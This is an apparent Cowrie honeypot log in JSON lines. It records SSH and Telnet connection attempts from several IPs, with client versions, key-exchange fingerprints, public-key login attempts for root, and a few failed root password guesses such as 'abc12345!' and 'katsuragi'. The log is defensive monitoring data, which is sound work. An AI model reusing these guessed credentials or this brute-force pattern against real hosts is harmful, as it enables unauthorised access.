{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.301740Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.325024Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:9f:d2:76:e8:5c:b7:1b:c0:d0:d0:e7:38:32:cc:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCDPaLjSWvpvaWYWt6cGwKqwXi8QtLUG8VglwmykynxO5I9EAirA0OkYtCLJheuixN1lh0B8SGKjT3+nWjbE+fkqSF1GinyTk+KX/qPUtc5i470VGpsmfHMwXD5KkHG997LytvqIX3NzscUlpXx5Ja5nVMb9msEP9li7hozA+BT7uGQJtK7ScqFsJrYUnVqCdLzSZ+781DGqqb+PeMjZN/52NyB9Om4dFdq1QKIIlXTpizpEOophJADPIErO+v4up0ru5dXcdG1tVBcLR7bhcF5+Su9wSekW5jitLO207vSr5gn57Gm9oKGZQoHf4stKXaha3qFZIjc9Wfat84s70LR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:9f:d2:76:e8:5c:b7:1b:c0:d0:d0:e7:38:32:cc:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.408100Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:9f:d2:76:e8:5c:b7:1b:c0:d0:d0:e7:38:32:cc:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCDPaLjSWvpvaWYWt6cGwKqwXi8QtLUG8VglwmykynxO5I9EAirA0OkYtCLJheuixN1lh0B8SGKjT3+nWjbE+fkqSF1GinyTk+KX/qPUtc5i470VGpsmfHMwXD5KkHG997LytvqIX3NzscUlpXx5Ja5nVMb9msEP9li7hozA+BT7uGQJtK7ScqFsJrYUnVqCdLzSZ+781DGqqb+PeMjZN/52NyB9Om4dFdq1QKIIlXTpizpEOophJADPIErO+v4up0ru5dXcdG1tVBcLR7bhcF5+Su9wSekW5jitLO207vSr5gn57Gm9oKGZQoHf4stKXaha3qFZIjc9Wfat84s70LR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.411373Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:b8:6a:13:40:ab:e1:25:11:53:a6:89:27:2f:67:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNupYcwJa2gWIBbsMgeGNZYNL+q8GbUEbx8H1s3NZvNfnu3CIWfJUTQd5BzgNHPZ1BxCNx8JkXFfzMv3Qdgw653XHth0YBefRC0SiNGO9+dC9gxBlPrBeRxUlAqfrFvcn/wo5vuKDIR+FZgjn2RJ4k+M7cHu/dRA9e9FY4r8XI4z+/gVF+sD0hR87kbo5GXBq+2tSWcvHP1BeDXlfu4ZT2kqze0zqrehqbZyDWjewod0UgMuWv2cKtbCojb5u0NyW1sVIWwiTFpX7nVbevRe8+OWr6R5e4l/MHbp/EcODrzdXeC6H+aoaROzR8TSCr6pZcnS4QRxLy60Jasf7JFUNV928y91BqQpnHkxJ7pE9mcW6wvym5u5Mx5/r6gxbQkdk0RRXB76SC/FzQ38hs/2uWkYk/D+MQF986MyTMFTnDFeUxD+n84sABsrbMqNRC7hkaRSFIMLNr3gZPYTagLDKorXHre8sdSDZjk/EK+La+R1QY8rh81WncOMl3lOZRuR7F8QSoEnSwL69/owk2wVod0zxmbhjUdpuxMLmA/jVfiN0JadcHlEEMBO5YmU0EMe9zDzFg5xwxCj9fLKsn5Y6XesJxKXcHlNAtpRrV9r1gVnx+LPvkAbdAh8gzhxpUoR8z7CRRWCfVP6oDcnAaCOK/oJ3DCo0aKg9lo+cvRUNEaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:b8:6a:13:40:ab:e1:25:11:53:a6:89:27:2f:67:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.431411Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:b8:6a:13:40:ab:e1:25:11:53:a6:89:27:2f:67:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNupYcwJa2gWIBbsMgeGNZYNL+q8GbUEbx8H1s3NZvNfnu3CIWfJUTQd5BzgNHPZ1BxCNx8JkXFfzMv3Qdgw653XHth0YBefRC0SiNGO9+dC9gxBlPrBeRxUlAqfrFvcn/wo5vuKDIR+FZgjn2RJ4k+M7cHu/dRA9e9FY4r8XI4z+/gVF+sD0hR87kbo5GXBq+2tSWcvHP1BeDXlfu4ZT2kqze0zqrehqbZyDWjewod0UgMuWv2cKtbCojb5u0NyW1sVIWwiTFpX7nVbevRe8+OWr6R5e4l/MHbp/EcODrzdXeC6H+aoaROzR8TSCr6pZcnS4QRxLy60Jasf7JFUNV928y91BqQpnHkxJ7pE9mcW6wvym5u5Mx5/r6gxbQkdk0RRXB76SC/FzQ38hs/2uWkYk/D+MQF986MyTMFTnDFeUxD+n84sABsrbMqNRC7hkaRSFIMLNr3gZPYTagLDKorXHre8sdSDZjk/EK+La+R1QY8rh81WncOMl3lOZRuR7F8QSoEnSwL69/owk2wVod0zxmbhjUdpuxMLmA/jVfiN0JadcHlEEMBO5YmU0EMe9zDzFg5xwxCj9fLKsn5Y6XesJxKXcHlNAtpRrV9r1gVnx+LPvkAbdAh8gzhxpUoR8z7CRRWCfVP6oDcnAaCOK/oJ3DCo0aKg9lo+cvRUNEaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.435327Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:77:d9:d9:fc:dc:3b:6d:e8:24:fe:04:85:1d:43:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDETNI7H4ngWu0B3MneRUmaOdeg5JsY4Q3qw3VeNQaBe/YFix4lERYHuAGhQk/DDwJLP6MWbdLlvkflUCcC2oKAdm90xn70k7GkMxlIYrE+XQjph6POlIVoxSKIOkkhj1LegcTYvByByxv0plcEKA05D9TTFc0W2btZaiZD+S0IqoWBOK67U4XrsUSgPiCcO/d+KMJfqB0sq1eHOm620KpaIcCmV3NR7w+LFjnEUMkW9a2bnVZk4JTlD0s6RkOVKX2GMb/UBWFMt3s9yuuAUjs99CRC2V4tCROFkJ2REVzYe6Xjdek8NqJ3y/6rnLCxGWQlEXabudSV46KCIiOJHiGQzCleF2eHen8VEOkt1HFcrKlH5IDt+YYruHu4+kBl3acDcdR5n3geicg6nXdAf3UrQjx472wjiTUVYruVgku0V8f5XWlZvRPhBgTOy9/SEfXsDB0fE+NfK00KbOoPtLXxquwlVKawgn18LYRUs6i1+14tDwTHeQseqR6O7gPCHxbVW0PBHwL8ncrr9iriOpFD0jO1ar/TULTBW2SthO3IFLFX7du3ANjNcJ0L40rrHoXGMEqvhTBUE5Giinxc93BnVie3JdpfCrN66Q6krckzQMyZqNFMaXuGrycwWFEBvu40SAiBWCjzKyiKdfBeQirA2bSNkhpbdMWM8q+AG1UJ7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:77:d9:d9:fc:dc:3b:6d:e8:24:fe:04:85:1d:43:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.457579Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:77:d9:d9:fc:dc:3b:6d:e8:24:fe:04:85:1d:43:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDETNI7H4ngWu0B3MneRUmaOdeg5JsY4Q3qw3VeNQaBe/YFix4lERYHuAGhQk/DDwJLP6MWbdLlvkflUCcC2oKAdm90xn70k7GkMxlIYrE+XQjph6POlIVoxSKIOkkhj1LegcTYvByByxv0plcEKA05D9TTFc0W2btZaiZD+S0IqoWBOK67U4XrsUSgPiCcO/d+KMJfqB0sq1eHOm620KpaIcCmV3NR7w+LFjnEUMkW9a2bnVZk4JTlD0s6RkOVKX2GMb/UBWFMt3s9yuuAUjs99CRC2V4tCROFkJ2REVzYe6Xjdek8NqJ3y/6rnLCxGWQlEXabudSV46KCIiOJHiGQzCleF2eHen8VEOkt1HFcrKlH5IDt+YYruHu4+kBl3acDcdR5n3geicg6nXdAf3UrQjx472wjiTUVYruVgku0V8f5XWlZvRPhBgTOy9/SEfXsDB0fE+NfK00KbOoPtLXxquwlVKawgn18LYRUs6i1+14tDwTHeQseqR6O7gPCHxbVW0PBHwL8ncrr9iriOpFD0jO1ar/TULTBW2SthO3IFLFX7du3ANjNcJ0L40rrHoXGMEqvhTBUE5Giinxc93BnVie3JdpfCrN66Q6krckzQMyZqNFMaXuGrycwWFEBvu40SAiBWCjzKyiKdfBeQirA2bSNkhpbdMWM8q+AG1UJ7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.461240Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:79:e1:f8:d5:4b:b2:79:2e:ce:83:f9:1d:ec:91:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIU6Q8P6n5bDYFXEcSYUZOdo06pQZF+91XtVJXFIgeJDuUYPfqv3McI6KZSNNWkqKv3Svw0o0NdxtWEtuOV8N9Z4xTGNuhAS38CBMppL8f+BcyhEaSlOGdv/Sd/ioAgvR9M5dlD2J2RcuE+dXVAHB2HucsaBw5sMN+FPLRdVHXvNFn95wlgyOtIc13/lmoDZBgr5+LkJ+QxHYwcM8p517zP18gnXBV1gTzikeY9qInS8ys4J+eSf8nA47/FuVt12jtowlGJG/eMCwXgBLRtNhnJxVWe41k5CC6pr33YXDX7ECA3JZJJwB99ij9asgTBwbCY11hfMnHqsSS3qXDxrRB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:79:e1:f8:d5:4b:b2:79:2e:ce:83:f9:1d:ec:91:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.482938Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:79:e1:f8:d5:4b:b2:79:2e:ce:83:f9:1d:ec:91:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIU6Q8P6n5bDYFXEcSYUZOdo06pQZF+91XtVJXFIgeJDuUYPfqv3McI6KZSNNWkqKv3Svw0o0NdxtWEtuOV8N9Z4xTGNuhAS38CBMppL8f+BcyhEaSlOGdv/Sd/ioAgvR9M5dlD2J2RcuE+dXVAHB2HucsaBw5sMN+FPLRdVHXvNFn95wlgyOtIc13/lmoDZBgr5+LkJ+QxHYwcM8p517zP18gnXBV1gTzikeY9qInS8ys4J+eSf8nA47/FuVt12jtowlGJG/eMCwXgBLRtNhnJxVWe41k5CC6pr33YXDX7ECA3JZJJwB99ij9asgTBwbCY11hfMnHqsSS3qXDxrRB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.487914Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:86:a1:98:72:04:d3:3b:e5:f8:ff:7c:be:d2:f1:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBPv9NC/AFDxfoxLb4yS5rKIk61vV3H/RWRm2FNnNYXrXjTrFe28jd5NBJUXUs4+e9YOw5rYOZOsjHNQY7CojO56q3yPDJ/+EyizJofcQQ7QTaifF/Y2HrMx5/sJIxOaUCGnMGXyvVeQFWfLyiFQ0a23vNGgmb3Wfk0SHqJET5Xi1KNtqufkL8xtA2zMC84IcogNTQRpNtRuaS2QUuYhrb6Vu6fF06mWzwn/m7s449ug2GivH6Zat3KNETCFt6BX/lp+FrwDkhdsLRECZcWdSWUcP6GbmPDDjj/MBW4wkVi0hMcO80xAOQjGaOvhx/C190FICgmGbJ1f2cELtBLq5h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:86:a1:98:72:04:d3:3b:e5:f8:ff:7c:be:d2:f1:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.508705Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:86:a1:98:72:04:d3:3b:e5:f8:ff:7c:be:d2:f1:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBPv9NC/AFDxfoxLb4yS5rKIk61vV3H/RWRm2FNnNYXrXjTrFe28jd5NBJUXUs4+e9YOw5rYOZOsjHNQY7CojO56q3yPDJ/+EyizJofcQQ7QTaifF/Y2HrMx5/sJIxOaUCGnMGXyvVeQFWfLyiFQ0a23vNGgmb3Wfk0SHqJET5Xi1KNtqufkL8xtA2zMC84IcogNTQRpNtRuaS2QUuYhrb6Vu6fF06mWzwn/m7s449ug2GivH6Zat3KNETCFt6BX/lp+FrwDkhdsLRECZcWdSWUcP6GbmPDDjj/MBW4wkVi0hMcO80xAOQjGaOvhx/C190FICgmGbJ1f2cELtBLq5h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.512165Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:46.533019Z","src_ip":"142.44.247.134","session":"80593586239e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":32858,"dst_ip":"159.203.135.109","dst_port":22,"session":"a85c99c241f7","protocol":"ssh","message":"New connection: 38.253.239.21:32858 (159.203.135.109:22) [session: a85c99c241f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:51.503802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:51.508233Z","src_ip":"38.253.239.21","session":"a85c99c241f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:51.735276Z","src_ip":"38.253.239.21","session":"a85c99c241f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345!","message":"login attempt [root/abc12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:52.675524Z","src_ip":"38.253.239.21","session":"a85c99c241f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38836,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e479421b5e","protocol":"telnet","message":"New connection: 192.119.13.58:38836 (10.17.0.5:23) [session: 75e479421b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:53.054153Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:53.905768Z","src_ip":"38.253.239.21","session":"a85c99c241f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":46534,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2bdfb49bf6","protocol":"ssh","message":"New connection: 41.93.28.9:46534 (10.17.0.5:22) [session: 5b2bdfb49bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:55.512837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:55.517110Z","src_ip":"41.93.28.9","session":"5b2bdfb49bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:34:56.535461Z","src_ip":"41.93.28.9","session":"5b2bdfb49bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katsuragi","message":"login attempt [root/katsuragi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:02.887555Z","src_ip":"41.93.28.9","session":"5b2bdfb49bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:04.952694Z","src_ip":"41.93.28.9","session":"5b2bdfb49bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":57234,"dst_ip":"10.17.0.5","dst_port":22,"session":"028b638b99ab","protocol":"ssh","message":"New connection: 43.228.112.254:57234 (10.17.0.5:22) [session: 028b638b99ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:05.077584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:05.083116Z","src_ip":"43.228.112.254","session":"028b638b99ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:05.303202Z","src_ip":"43.228.112.254","session":"028b638b99ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"selenio","message":"login attempt [root/selenio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:06.226584Z","src_ip":"43.228.112.254","session":"028b638b99ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:07.449604Z","src_ip":"43.228.112.254","session":"028b638b99ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41682,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd25e2afd82","protocol":"ssh","message":"New connection: 147.45.199.80:41682 (10.17.0.5:22) [session: cfd25e2afd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:19.396923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:35:19.401565Z","src_ip":"147.45.199.80","session":"cfd25e2afd82","protocol":"ssh"}
